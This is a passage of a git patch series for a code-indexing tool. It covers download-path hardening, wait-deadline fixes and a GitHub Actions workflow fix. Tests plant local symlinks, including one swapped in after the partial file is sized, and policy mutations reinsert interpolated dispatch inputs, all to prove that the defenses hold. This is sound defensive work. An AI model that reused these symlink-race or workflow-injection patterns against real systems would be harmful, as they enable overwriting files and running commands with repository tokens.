writeManagedCliFixture(dataDir, "0.16.1"); + const probeVersion = (candidate) => ({ + status: 0, + error: null, + version: candidate.cliVersion || candidate.version, + stdout: "", + stderr: "", + }); + const resolved = { + source: "managed", + version: "0.16.4", + cliVersion: "0.16.1", + path: active.cliPath, + warnings: [], + }; + + const report = launcherTest.managedCliRetentionReport(resolved, probeVersion(resolved), { + dataDir, + probeVersion, + }); + + assert.deepEqual(report.warnings, []); + assert.deepEqual(report.retained.map((entry) => entry.version), ["0.16.1", "0.16.0"]); + assert.equal(report.retained.find((entry) => entry.version === "0.16.1").reason, "active"); + assert.deepEqual(report.removed.map((entry) => entry.version), ["0.15.9"]); + assert.equal(report.removed_bytes > 0, true); + await assert.rejects(access(stale.versionDir)); + await access(rollback.versionDir); + await access(active.versionDir); + } finally { + await rm(dataDir, { recursive: true, force: true }); + } +}); + test("managed cli retention reports a locked Windows executable without pruning it", async () => { const dataDir = await mkdtemp(join(tmpdir(), "codestory-managed-retention-lock-")); try { @@ -4736,6 +4779,100 @@ test("a publication failure is permanent instead of restarting the transfer", as } }); +// The `.part` name is the one attacker-reachable file in the provisioning path. Sizing it with +// `stat` reported the symlink target's length, so the transfer resumed by appending release bytes +// straight into whatever the link pointed at, outside the managed cache. +test("release asset downloader refuses to resume through a symlinked partial", async () => { + const { createServer } = await import("node:http"); + const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-partial-symlink-")); + const destination = join(dataDir, "runtime.bin"); + const partialPath = join(dataDir, "cache", "runtime.bin.part"); + const outside = join(dataDir, "outside.txt"); + await mkdir(join(dataDir, "cache"), { recursive: true }); + await writeFile(outside, "precious", "utf8"); + await symlink(outside, partialPath, "file"); + const body = Buffer.from("the-managed-runtime-archive-payload"); + const server = createServer((request, response) => { + const start = Number(/^bytes=(\d+)-$/u.exec(request.headers.range || "")?.[1] ?? 0); + response.writeHead(start > 0 ? 206 : 200, { + "content-length": String(body.length - start), + ...(start > 0 + ? { "content-range": `bytes ${start}-${body.length - 1}/${body.length}` } + : {}), + }); + response.end(body.subarray(start)); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + try { + await launcherTest.downloadFile( + `http://127.0.0.1:${server.address().port}/runtime`, + destination, + { attempts: 3, retryDelayMs: () => 1, timeoutMs: 5000, partialPath }, + ); + // The planted link is dropped rather than measured or written through, so provisioning still + // completes and the file it pointed at is untouched. + assert.deepEqual(await readFile(destination), body); + assert.equal(await readFile(outside, "utf8"), "precious"); + assert.equal(fs.existsSync(partialPath), false); + assert.equal(fs.lstatSync(destination).isFile(), true); + } finally { + await new Promise((resolve) => server.close(resolve)); + await rm(dataDir, { recursive: true, force: true }); + } +}); + +// The stat that sizes the partial and the open that writes it are separate syscalls, so dropping a +// non-regular partial is not on its own enough: the link can be planted in between. The write must +// be refused at the descriptor. +test("release asset downloader refuses a partial swapped for a symlink after it is sized", async () => { + const { createServer } = await import("node:http"); + const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-partial-swap-")); + const destination = join(dataDir, "runtime.bin"); + const partialPath = join(dataDir, "cache", "runtime.bin.part"); + const outside = join(dataDir, "outside.txt"); + await mkdir(join(dataDir, "cache"), { recursive: true }); + await writeFile(outside, "precious", "utf8"); + const body = Buffer.from("the-managed-runtime-archive-payload"); + const server = createServer((request, response) => { + const start = Number(/^bytes=(\d+)-$/u.exec(request.headers.range || "")?.[1] ?? 0); + response.writeHead(start > 0 ? 206 : 200, { + "content-length": String(body.length - start), + ...(start > 0 + ? { "content-range": `bytes ${start}-${body.length - 1}/${body.length}` } + : {}), + }); + response.end(body.subarray(start)); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + let planted = false; + try { + await launcherTest.downloadFile( + `http://127.0.0.1:${server.address().port}/runtime`, + destination, + { + attempts: 3, + retryDelayMs: () => 1, + timeoutMs: 5000, + partialPath, + // The first progress callback fires after the partial has been sized and before the transfer + // opens it: exactly the window a planted link would exploit. + onProgress() { + if (planted) return; + planted = true; + fs.symlinkSync(outside, partialPath, "file"); + }, + }, + ); + assert.equal(planted, true); + assert.equal(await readFile(outside, "utf8"), "precious"); + assert.deepEqual(await readFile(destination), body); + assert.equal(fs.lstatSync(destination).isFile(), true); + } finally { + await new Promise((resolve) => server.close(resolve)); + await rm(dataDir, { recursive: true, force: true }); + } +}); + test("download cache trimming refuses to delete through a symlinked cache root", async () => { const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-symlink-")); const root = join(dataDir, "codestory-cli"); From 49a1ab255853517c9222970cb7681f0a92d65574 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 08:38:07 -0500 Subject: [PATCH 020/132] bound the proof tooling waits to their declared timeouts The pinned-provision proof nested its deadline and child-exit guards inside the catch of its runtime metadata read. Once the launcher published readable non-managed metadata the read stopped throwing, so neither guard ran again and the proof hung to the CI job timeout on exactly the pin and archive digest drift the gate exists to catch. Both guards now run on every tick and the catch only swallows an unreadable or partially written file. search_until_ready's shared deadline was advisory because each poll's tool_until_ready minted its own deadline from the full timeout, so a late poll could burn another whole budget past the shared bound. tool_until_ready now takes the caller's deadline and owns its own only when none is threaded in. Co-Authored-By: Claude Opus 5 --- .../packaged_agent_proof/self_test_process.py | 2 + .../self_test_process_deadline.py | 119 +++++++++++++++++ .../subprocess_control.py | 7 +- scripts/prove-plugin-pinned-provision.mjs | 125 +++++++++++------- .../prove-plugin-pinned-provision.test.mjs | 105 +++++++++++++++ 5 files changed, 308 insertions(+), 50 deletions(-) create mode 100644 .github/scripts/packaged_agent_proof/self_test_process_deadline.py create mode 100644 scripts/tests/prove-plugin-pinned-provision.test.mjs diff --git a/.github/scripts/packaged_agent_proof/self_test_process.py b/.github/scripts/packaged_agent_proof/self_test_process.py index e280d45f1..dd78aa3a7 100644 --- a/.github/scripts/packaged_agent_proof/self_test_process.py +++ b/.github/scripts/packaged_agent_proof/self_test_process.py @@ -2,6 +2,7 @@ from .self_test_process_cleanup import run_process_cleanup_self_tests from .self_test_process_clock import run_process_clock_self_tests +from .self_test_process_deadline import run_process_deadline_self_tests from .self_test_process_exit import run_process_exit_self_tests from .self_test_process_identity import run_process_identity_self_tests @@ -9,5 +10,6 @@ def run_process_self_tests() -> None: run_process_identity_self_tests() run_process_clock_self_tests() + run_process_deadline_self_tests() run_process_exit_self_tests() run_process_cleanup_self_tests() diff --git a/.github/scripts/packaged_agent_proof/self_test_process_deadline.py b/.github/scripts/packaged_agent_proof/self_test_process_deadline.py new file mode 100644 index 000000000..db065cc01 --- /dev/null +++ b/.github/scripts/packaged_agent_proof/self_test_process_deadline.py @@ -0,0 +1,119 @@ +"""Readiness-wait deadline self-tests for the owned MCP transport.""" + +from __future__ import annotations + +from unittest.mock import patch + +from . import subprocess_control +from .foundation import ProofFailure, require +from .subprocess_control import McpProcess + +_RETRY_AFTER_MS = 30_000 +_TIMEOUT_SECS = 60.0 + + +class _VirtualClock: + """Deterministic stand-in for the module clock so the legs cost no wall time.""" + + def __init__(self) -> None: + self.now = 0.0 + + def monotonic(self) -> float: + return self.now + + def sleep(self, seconds: float) -> None: + self.now += max(0.0, float(seconds)) + + +class _ScriptedHost(McpProcess): + """An McpProcess whose tool calls replay a script instead of a real subprocess.""" + + def __init__(self, timeout: float, script: list[str]) -> None: + self.timeout = timeout + self.script = script + self.calls = 0 + self.transcript: list[dict] = [] + self.tool_attempt_counts: dict[str, int] = {} + + def tool(self, name: str, arguments: dict, request_id: str) -> dict: + self.calls += 1 + # The last scripted step repeats so a leg only has to name its distinct steps. + step = self.script[min(self.calls, len(self.script)) - 1] + if step == "preparing": + return { + "result": { + "isError": True, + "structuredContent": { + "code": "codestory_preparing", + "state": "preparing", + "retry_tool": name, + "retry_after_ms": _RETRY_AFTER_MS, + }, + } + } + return { + "result": { + "structuredContent": { + "query": arguments.get("query"), + "hits": [], + "retrieval": {"state": step}, + } + } + } + + +def _run_shared_deadline_leg() -> None: + clock = _VirtualClock() + # A degraded poll lands mid-window, so the next poll's readiness retries are the only + # thing that can push the wait past the shared bound. + host = _ScriptedHost(_TIMEOUT_SECS, ["preparing", "degraded", "preparing"]) + with patch.object(subprocess_control, "time", clock): + try: + host.search_until_ready({"query": "self-test"}, "search") + except ProofFailure: + pass + else: + raise ProofFailure("search_until_ready did not fail on a host that never converged") + require( + clock.now <= _TIMEOUT_SECS, + f"search_until_ready waited {clock.now}s against its {_TIMEOUT_SECS}s bound", + ) + + +def _run_default_deadline_leg() -> None: + clock = _VirtualClock() + host = _ScriptedHost(_TIMEOUT_SECS, ["preparing", "preparing", "ready"]) + with patch.object(subprocess_control, "time", clock): + _, attempts = host.tool_until_ready("search", {"query": "self-test"}, "search") + require( + attempts == 3 and clock.now == _TIMEOUT_SECS, + f"tool_until_ready without a deadline changed its own bound: {attempts} attempts " + f"over {clock.now}s", + ) + + +def _run_threaded_deadline_leg() -> None: + clock = _VirtualClock() + host = _ScriptedHost(_TIMEOUT_SECS, ["preparing"]) + with patch.object(subprocess_control, "time", clock): + try: + host.tool_until_ready( + "search", + {"query": "self-test"}, + "search", + deadline=clock.monotonic() + 5.0, + ) + except ProofFailure: + pass + else: + raise ProofFailure("tool_until_ready ignored a caller-owned deadline") + require( + clock.now <= 5.0, + f"tool_until_ready waited {clock.now}s against a caller-owned 5.0s deadline", + ) + + +def run_process_deadline_self_tests() -> None: + _run_shared_deadline_leg() + _run_default_deadline_leg() + _run_threaded_deadline_leg() diff --git a/.github/scripts/packaged_agent_proof/subprocess_control.py b/.github/scripts/packaged_agent_proof/subprocess_control.py index 134810d1a..c40d86ed1 100644 --- a/.github/scripts/packaged_agent_proof/subprocess_control.py +++ b/.github/scripts/packaged_agent_proof/subprocess_control.py @@ -255,8 +255,11 @@ def tool_until_ready( name: str, arguments: dict, request_id: str, + deadline: float | None = None, ) -> tuple[dict, int]: - deadline = time.monotonic() + self.timeout + # A caller that already owns a bound threads it in; otherwise this call owns its own. + if deadline is None: + deadline = time.monotonic() + self.timeout attempt = 0 while True: attempt += 1 @@ -331,7 +334,7 @@ def search_until_ready(self, arguments: dict, request_id: str) -> tuple[dict, in request_id if poll == 1 else f"{request_id}-degraded-{poll}" ) response, attempts = self.tool_until_ready( - "search", arguments, poll_request_id + "search", arguments, poll_request_id, deadline=deadline ) total_attempts += attempts self.tool_attempt_counts[request_id] = total_attempts diff --git a/scripts/prove-plugin-pinned-provision.mjs b/scripts/prove-plugin-pinned-provision.mjs index eb79fe1ec..b52b056b8 100644 --- a/scripts/prove-plugin-pinned-provision.mjs +++ b/scripts/prove-plugin-pinned-provision.mjs @@ -14,62 +14,49 @@ import os from "node:os"; import path from "node:path"; import { fileURLToPath } from "node:url"; -const repositoryRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), ".."); +const scriptPath = fileURLToPath(import.meta.url); +const repositoryRoot = path.resolve(path.dirname(scriptPath), ".."); const launcher = path.join(repositoryRoot, "plugins/codestory/scripts/codestory-mcp.cjs"); -const pin = JSON.parse( - fs.readFileSync(path.join(repositoryRoot, "plugins/codestory/cli-version.json"), "utf8"), -); function fail(message) { console.error(`::error::${message}`); process.exit(1); } -const timeoutIndex = process.argv.indexOf("--timeout-ms"); -const timeoutMs = timeoutIndex >= 0 ? Number(process.argv[timeoutIndex + 1]) : 600_000; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-")); -const runtimeMetadata = path.join(dataDir, ".codestory-mcp-runtime.json"); - -const child = spawn(process.execPath, [launcher], { - env: { ...process.env, CODESTORY_CLI: "", PLUGIN_DATA: dataDir }, - stdio: ["pipe", "pipe", "pipe"], -}); -let stderr = ""; -child.stderr.on("data", (chunk) => { - stderr += chunk; -}); -child.stdout.resume(); -child.stdin.write( - `${JSON.stringify({ - jsonrpc: "2.0", - id: 1, - method: "resources/read", - params: { uri: `codestory://status?project=${encodeURIComponent(repositoryRoot)}` }, - })}\n`, -); - -const deadline = Date.now() + timeoutMs; -const poll = setInterval(() => { - let metadata; - try { - metadata = JSON.parse(fs.readFileSync(runtimeMetadata, "utf8")); - } catch { - if (child.exitCode !== null) { - clearInterval(poll); - fail(`launcher exited ${child.exitCode} before provisioning finished.\n${stderr}`); - } - if (Date.now() > deadline) { +// Wait for the launcher to publish managed runtime metadata. The liveness guards run on every +// tick and never sit behind the metadata read: a launcher that resolves to a non-managed source +// (pin or archive digest drift) keeps writing a readable file, so guards nested in the read's +// catch would never fire and the proof would hang until the CI job timeout. +export function waitForManagedRuntime({ child, runtimeMetadata, timeoutMs, intervalMs = 250 }) { + const deadline = Date.now() + timeoutMs; + return new Promise((resolve, reject) => { + const poll = setInterval(() => { + if (child.exitCode !== null) { + clearInterval(poll); + reject(new Error(`launcher exited ${child.exitCode} before provisioning finished.`)); + return; + } + if (Date.now() > deadline) { + clearInterval(poll); + child.kill(); + reject(new Error(`provisioning did not finish within ${timeoutMs}ms.`)); + return; + } + let metadata; + try { + metadata = JSON.parse(fs.readFileSync(runtimeMetadata, "utf8")); + } catch { + // Not written yet, or caught mid-write. Read again on the next tick. + return; + } + if (metadata.source !== "managed") return; clearInterval(poll); - child.kill(); - fail(`provisioning did not finish within ${timeoutMs}ms.\n${stderr}`); - } - return; - } - if (metadata.source !== "managed") return; - clearInterval(poll); - child.kill(); + resolve(metadata); + }, intervalMs); + }); +} +function verifyProvision(dataDir, pin) { const versionDir = path.join(dataDir, "codestory-cli", pin.cli_version); const manifest = JSON.parse(fs.readFileSync(path.join(versionDir, "manifest.json"), "utf8")); const target = @@ -99,6 +86,48 @@ const poll = setInterval(() => { `Pinned provision proven: ${target} ${pin.cli_version} from github_release, ` + `archive ${manifest.archive_sha256.slice(0, 12)}…, binary reports "${reported}".`, ); +} + +async function main() { + const pin = JSON.parse( + fs.readFileSync(path.join(repositoryRoot, "plugins/codestory/cli-version.json"), "utf8"), + ); + + const timeoutIndex = process.argv.indexOf("--timeout-ms"); + const timeoutMs = timeoutIndex >= 0 ? Number(process.argv[timeoutIndex + 1]) : 600_000; + + const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-")); + const runtimeMetadata = path.join(dataDir, ".codestory-mcp-runtime.json"); + + const child = spawn(process.execPath, [launcher], { + env: { ...process.env, CODESTORY_CLI: "", PLUGIN_DATA: dataDir }, + stdio: ["pipe", "pipe", "pipe"], + }); + let stderr = ""; + child.stderr.on("data", (chunk) => { + stderr += chunk; + }); + child.stdout.resume(); + child.stdin.write( + `${JSON.stringify({ + jsonrpc: "2.0", + id: 1, + method: "resources/read", + params: { uri: `codestory://status?project=${encodeURIComponent(repositoryRoot)}` }, + })}\n`, + ); + + try { + await waitForManagedRuntime({ child, runtimeMetadata, timeoutMs }); + } catch (error) { + fail(`${error.message}\n${stderr}`); + } + child.kill(); + verifyProvision(dataDir, pin); fs.rmSync(dataDir, { recursive: true, force: true }); process.exit(0); -}, 250); +} + +if (process.argv[1] && path.resolve(process.argv[1]) === scriptPath) { + await main(); +} diff --git a/scripts/tests/prove-plugin-pinned-provision.test.mjs b/scripts/tests/prove-plugin-pinned-provision.test.mjs new file mode 100644 index 000000000..492593d5e --- /dev/null +++ b/scripts/tests/prove-plugin-pinned-provision.test.mjs @@ -0,0 +1,105 @@ +import assert from "node:assert/strict"; +import { spawn } from "node:child_process"; +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import test from "node:test"; +import { fileURLToPath, pathToFileURL } from "node:url"; + +const scriptUrl = pathToFileURL( + path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../prove-plugin-pinned-provision.mjs"), +).href; + +// The wait must bound itself even when the launcher keeps a readable non-managed metadata file +// on disk, so drive it in its own process and kill it if it outlives the bound. A hang here is a +// reported failure, not a wedged test run. +const KILL_AFTER_MS = 5_000; + +function driveWait({ runtimeMetadata, timeoutMs, exitCode }) { + const source = ` + import { waitForManagedRuntime } from ${JSON.stringify(scriptUrl)}; + const exitCode = ${JSON.stringify(exitCode)}; + let killed = false; + const child = { exitCode, kill() { killed = true; } }; + const started = Date.now(); + let outcome; + try { + await waitForManagedRuntime({ + child, + runtimeMetadata: ${JSON.stringify(runtimeMetadata)}, + timeoutMs: ${JSON.stringify(timeoutMs)}, + intervalMs: 10, + }); + outcome = { settled: "resolved" }; + } catch (error) { + outcome = { settled: "rejected", message: error.message }; + } + console.log(JSON.stringify({ ...outcome, killed, elapsedMs: Date.now() - started })); + `; + return new Promise((resolve) => { + const child = spawn(process.execPath, ["--input-type=module", "-e", source], { + stdio: ["ignore", "pipe", "pipe"], + }); + let stdout = ""; + let stderr = ""; + child.stdout.on("data", (chunk) => { + stdout += chunk; + }); + child.stderr.on("data", (chunk) => { + stderr += chunk; + }); + const killer = setTimeout(() => child.kill("SIGKILL"), KILL_AFTER_MS); + child.on("close", (code, signal) => { + clearTimeout(killer); + if (signal || stdout.trim() === "") { + resolve({ settled: "hung", code, signal, stderr }); + return; + } + resolve(JSON.parse(stdout.trim())); + }); + }); +} + +function driftedRuntimeMetadata() { + const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-test-")); + const runtimeMetadata = path.join(dataDir, ".codestory-mcp-runtime.json"); + // What the launcher writes when the pin's archive digest no longer resolves: readable + // metadata that never reaches the managed source the proof is waiting for. + fs.writeFileSync( + runtimeMetadata, + JSON.stringify({ source: "managed_unavailable", path: null, cliVersion: null }), + ); + return runtimeMetadata; +} + +test("pin drift that keeps runtime metadata readable still times out within the bound", async () => { + const outcome = await driveWait({ + runtimeMetadata: driftedRuntimeMetadata(), + timeoutMs: 300, + exitCode: null, + }); + assert.equal(outcome.settled, "rejected", `wait did not bound itself: ${JSON.stringify(outcome)}`); + assert.match(outcome.message, /provisioning did not finish within 300ms/u); + assert.equal(outcome.killed, true, "the timed-out wait must kill the launcher"); + assert.ok(outcome.elapsedMs < KILL_AFTER_MS, `waited ${outcome.elapsedMs}ms`); +}); + +test("a launcher that exits while runtime metadata stays readable fails fast", async () => { + const outcome = await driveWait({ + runtimeMetadata: driftedRuntimeMetadata(), + timeoutMs: 600_000, + exitCode: 3, + }); + assert.equal(outcome.settled, "rejected", `wait did not notice the exit: ${JSON.stringify(outcome)}`); + assert.match(outcome.message, /launcher exited 3 before provisioning finished/u); + assert.ok(outcome.elapsedMs < KILL_AFTER_MS, `waited ${outcome.elapsedMs}ms`); +}); + +test("managed runtime metadata resolves the wait with the published metadata", async () => { + const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-pin-proof-test-")); + const runtimeMetadata = path.join(dataDir, ".codestory-mcp-runtime.json"); + fs.writeFileSync(runtimeMetadata, JSON.stringify({ source: "managed", cliVersion: "9.9.9" })); + const outcome = await driveWait({ runtimeMetadata, timeoutMs: 600_000, exitCode: null }); + assert.equal(outcome.settled, "resolved", JSON.stringify(outcome)); + assert.equal(outcome.killed, false, "a successful wait must not kill the launcher itself"); +}); From d38933b9b16ee9aa2eea7a89c94721ffdf7d8c70 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 08:38:59 -0500 Subject: [PATCH 021/132] read marketplace dispatch inputs from env and repair the publish needs gate Actions interpolation is textual, so `${{ inputs.commit }}` and `${{ inputs.version }}` spliced into marketplace-sync run scripts executed a dispatched value on the runner -- with the default token in the release check and with the scoped marketplace app token in the catalog push. Both inputs now reach the shell only through step env, and a first step refuses anything that is not a hexadecimal commit id or a semantic version before the ref resolves or a token is minted. The plugin-release publish.needs assertion was a permanent no-op: its first disjunct reduced to sameStrings([], []). Dropping it lets the comparison run, with a scalar `needs:` normalized through the existing list helper instead of silently passing. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 53 ++++++++++++- .../scripts/check-workflow-policy.test.mjs | 74 +++++++++++++++++++ .github/workflows/marketplace-sync.yml | 31 +++++++- 3 files changed, 152 insertions(+), 6 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index ceec858e6..9d39b167a 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -4473,8 +4473,7 @@ export function validatePluginRelease(workflows, violations) { ]); add( violations, - sameStrings(nonCommentLines(object(jobs.publish).needs === undefined ? "" : ""), []) || - JSON.stringify(object(jobs.publish).needs) === JSON.stringify(["preflight", "plugin-proof"]), + sameStrings(needs(jobs.publish), ["preflight", "plugin-proof"]), `${file} publish must wait on preflight and plugin proof`, ); add( @@ -4499,6 +4498,55 @@ export function validatePluginRelease(workflows, violations) { ); } +export function validateMarketplaceSync(workflows, violations) { + const file = "marketplace-sync.yml"; + const workflow = workflows.get(file); + if (!workflow) { + violations.push(`${file} must exist`); + return; + } + add( + violations, + hasExactKeys(at(workflow, "on", "workflow_dispatch", "inputs"), ["version", "commit"]), + `${file} must dispatch on exactly a version and a commit`, + ); + const job = requireJob(violations, file, workflow, "sync"); + const bindings = { + INPUT_COMMIT: "${{ inputs.commit }}", + INPUT_VERSION: "${{ inputs.version }}", + }; + for (const [index, rawStep] of list(job.steps).entries()) { + const step = object(rawStep); + if (typeof step.run !== "string") continue; + // Interpolation is textual and quoting does not stop command substitution, so a dispatched + // value spliced into script text executes on the runner -- here beside repository tokens. + add( + violations, + !step.run.includes("${{"), + `${file} jobs.sync.steps.${index} must read dispatch inputs from env, not interpolated script text`, + ); + for (const [name, expected] of Object.entries(bindings)) { + if (!step.run.includes(`$${name}`)) continue; + add( + violations, + object(step.env)[name] === expected, + `${file} jobs.sync.steps.${index} must bind ${name} to ${expected}`, + ); + } + } + // Shape is proven before the checkout resolves the ref and before any marketplace token exists. + const guard = "Validate the dispatched release coordinates"; + requireStepRun(violations, file, job, guard, [ + "^[0-9a-fA-F]{7,40}$", + "^[0-9]+\\.[0-9]+\\.[0-9]+", + ]); + add( + violations, + stepIndex(job, guard) === 0, + `${file} must validate the dispatched coordinates before any other step`, + ); +} + export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repositoryRoot)) { const violations = []; for (const [file, workflow] of workflows) { @@ -4506,6 +4554,7 @@ export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repos } validateCargoTestFilters(workflows, violations); validatePluginRelease(workflows, violations); + validateMarketplaceSync(workflows, violations); validateLockedSetupSurfaces(violations); validateIssueWorkflows(workflows, violations); validatePluginAndDraftWorkflows(workflows, violations, graph); diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 9a90cf48b..0d5f06d32 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -2325,3 +2325,77 @@ test("release policy rejects manifest producer, trusted-map, and publication byp assert.notDeepEqual(validateWorkflows(workflows), [], label); } }); + +test("plugin publish must actually wait on preflight and plugin proof", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "plugin-release.yml"; + const expected = /plugin-release\.yml publish must wait on preflight and plugin proof/u; + const mutations = [ + ["publish drops plugin proof", workflow => { + workflow.jobs.publish.needs = ["preflight"]; + }], + ["publish waits on nothing", workflow => { + delete workflow.jobs.publish.needs; + }], + ["publish waits on a single scalar", workflow => { + workflow.jobs.publish.needs = "preflight"; + }], + ["publish waits on an unrelated job", workflow => { + workflow.jobs.publish.needs = ["preflight", "post-publish-smoke"]; + }], + ["a scalar needs spells the gate as one string", workflow => { + workflow.jobs.publish.needs = "preflight, plugin-proof"; + }], + ]; + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), expected); + }); + } +}); + +test("marketplace sync keeps dispatch inputs out of script text", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "marketplace-sync.yml"; + const guard = "Validate the dispatched release coordinates"; + const mutations = [ + ["the untokened check interpolates the commit", workflow => { + const step = draftStep(workflow.jobs.sync, "Require a published release for this commit"); + step.run = step.run.replace('"$INPUT_COMMIT^{commit}"', '"${{ inputs.commit }}^{commit}"'); + }, /steps\.2 must read dispatch inputs from env/u], + ["the tokened publish interpolates the version", workflow => { + const step = draftStep(workflow.jobs.sync, "Point the catalog at the published release"); + step.run = step.run.replace('"$INPUT_VERSION"', '"${{ inputs.version }}"'); + }, /steps\.4 must read dispatch inputs from env/u], + ["a consumed input loses its env binding", workflow => { + delete draftStep(workflow.jobs.sync, "Point the catalog at the published release") + .env.INPUT_COMMIT; + }, /steps\.4 must bind INPUT_COMMIT/u], + ["an env binding is rewired to another value", workflow => { + draftStep(workflow.jobs.sync, guard).env.INPUT_VERSION = "${{ github.ref_name }}"; + }, /steps\.0 must bind INPUT_VERSION/u], + ["the commit shape check disappears", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace("^[0-9a-fA-F]{7,40}$", "^.*$"); + }, /step Validate the dispatched release coordinates must run \^\[0-9a-fA-F\]\{7,40\}\$/u], + ["the version shape check disappears", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace("^[0-9]+\\.[0-9]+\\.[0-9]+", "^.+"); + }, /step Validate the dispatched release coordinates must run \^\[0-9\]\+/u], + ["validation moves behind the minted token", workflow => { + moveNamedStepAfter(workflow.jobs.sync, guard, "Mint a scoped marketplace token"); + }, /must validate the dispatched coordinates before any other step/u], + ["a third dispatch input appears", workflow => { + workflow.on.workflow_dispatch.inputs.ref = { required: false, type: "string" }; + }, /must dispatch on exactly a version and a commit/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), expected); + }); + } +}); diff --git a/.github/workflows/marketplace-sync.yml b/.github/workflows/marketplace-sync.yml index 565c4c9c2..1bf284441 100644 --- a/.github/workflows/marketplace-sync.yml +++ b/.github/workflows/marketplace-sync.yml @@ -32,6 +32,25 @@ jobs: timeout-minutes: 10 environment: marketplace-publish steps: + # Dispatch inputs reach shells only through the environment. Actions interpolation is textual + # and double quotes do not stop command substitution, so a value spliced into script text runs + # as a command on the runner -- here with the default token and, later, the marketplace app + # token. Shape is checked before the ref is resolved or any token is minted. + - name: Validate the dispatched release coordinates + env: + INPUT_COMMIT: ${{ inputs.commit }} + INPUT_VERSION: ${{ inputs.version }} + run: | + set -euo pipefail + if ! printf '%s' "$INPUT_COMMIT" | grep -Eq '^[0-9a-fA-F]{7,40}$'; then + echo "::error::commit must be a 7-40 character hexadecimal commit id." + exit 1 + fi + if ! printf '%s' "$INPUT_VERSION" | grep -Eq '^[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.]+)?$'; then + echo "::error::version must be a semantic version without a v prefix." + exit 1 + fi + - name: Checkout the published commit uses: actions/checkout@v5 with: @@ -41,11 +60,13 @@ jobs: - name: Require a published release for this commit env: GH_TOKEN: ${{ github.token }} + INPUT_COMMIT: ${{ inputs.commit }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - tag="v${{ inputs.version }}" + tag="v$INPUT_VERSION" target="$(gh release view "$tag" --repo "$GITHUB_REPOSITORY" --json targetCommitish --jq .targetCommitish)" - resolved="$(git rev-parse "${{ inputs.commit }}^{commit}")" + resolved="$(git rev-parse "$INPUT_COMMIT^{commit}")" if [ "$target" != "$resolved" ]; then echo "::error::release $tag targets $target, not $resolved. The catalog may only point at a published release commit." exit 1 @@ -67,9 +88,11 @@ jobs: - name: Point the catalog at the published release env: GH_TOKEN: ${{ steps.token.outputs.token }} + INPUT_COMMIT: ${{ inputs.commit }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail node .github/scripts/publish-marketplace-catalog.mjs \ --source-repository "$GITHUB_WORKSPACE" \ - --commit "${{ inputs.commit }}" \ - --version "${{ inputs.version }}" + --commit "$INPUT_COMMIT" \ + --version "$INPUT_VERSION" From e333ca9abaedfbab950f8f8f2b4002bf268badf9 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 08:43:56 -0500 Subject: [PATCH 022/132] match readiness freshness to the staleness sidecar admission enforces The readiness projection derived freshness from manifest shape alone while strict sidecar admission derives staleness from storage. After a core-only refresh the two disagreed: readiness reported hybrid / semantic_ready with no fallback for a publication admission simultaneously refused to serve, so the agent received an error contradicting what readiness had just promised. Fold the same storage-derived staleness admission gates on (manifest_unavailable_reason_for_runtime) into the stale-publication determination, so the two surfaces cannot contradict each other. Also drop the CHANGELOG "For operators" bullet advertising freshness-cap env overrides the code no longer reads. Co-Authored-By: Claude Opus 5 --- CHANGELOG.md | 6 - crates/codestory-retrieval/src/lib.rs | 1 + .../src/search_publication.rs | 41 +++- crates/codestory-runtime/src/tests.rs | 191 +++++++++++++++++- 4 files changed, 220 insertions(+), 19 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index da1822c68..fe019f2ca 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -49,12 +49,6 @@ - Windows and Linux start faster, and commands run at the same time no longer queue behind one another. -### For operators - -- `CODESTORY_INDEX_FRESHNESS_INDEXED_FILE_CAP` and - `CODESTORY_INDEX_FRESHNESS_CURRENT_FILE_CAP` raise the repository size at which - CodeStory stops checking for changes. - ||||||| parent of e925d6da (note the windows deep-cache-root publication fix in the changelog) ## 0.16.1 diff --git a/crates/codestory-retrieval/src/lib.rs b/crates/codestory-retrieval/src/lib.rs index 81124c6d6..5166d3b29 100644 --- a/crates/codestory-retrieval/src/lib.rs +++ b/crates/codestory-retrieval/src/lib.rs @@ -76,6 +76,7 @@ pub use executor::{ }; pub use generation::{ SEMANTIC_POLICY_VERSION, SIDECAR_SCHEMA_VERSION, 